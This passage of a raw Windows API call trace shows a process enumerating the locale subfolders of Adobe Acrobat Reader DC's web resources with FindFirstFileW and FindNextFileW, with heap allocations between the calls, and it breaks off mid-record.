1 [0258.021] GetProcessHeap () returned 0xc10000 [0258.021] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0258.021] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0258.027] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.027] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0258.028] GetProcessHeap () returned 0xc10000 [0258.028] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.028] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.036] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.036] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.036] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.037] GetProcessHeap () returned 0xc10000 [0258.037] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.037] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0258.037] GetProcessHeap () returned 0xc10000 [0258.037] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.039] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.039] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.039] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.039] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.039] GetProcessHeap () returned 0xc10000 [0258.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.039] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0258.040] GetProcessHeap () returned 0xc10000 [0258.040] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.040] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0258.041] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.041] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.041] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.041] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0258.041] GetProcessHeap () returned 0xc10000 [0258.041] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.041] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0258.041] GetProcessHeap () returned 0xc10000 [0258.041] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.042] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.042] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.042] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.042] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.042] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.042] GetProcessHeap () returned 0xc10000 [0258.043] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.043] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0258.043] GetProcessHeap () returned 0xc10000 [0258.043] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.472] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.472] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.472] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.473] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.473] GetProcessHeap () returned 0xc10000 [0258.473] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.473] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0258.473] GetProcessHeap () returned 0xc10000 [0258.473] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.473] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.474] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.474] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.474] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.474] GetProcessHeap () returned 0xc10000 [0258.474] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.474] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0258.474] GetProcessHeap () returned 0xc10000 [0258.474] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.475] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0258.476] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.476] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.476] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.476] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0258.478] GetProcessHeap () returned 0xc10000 [0258.478] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.478] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0258.478] GetProcessHeap () returned 0xc10000 [0258.478] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.478] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0258.479] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.479] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.479] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, 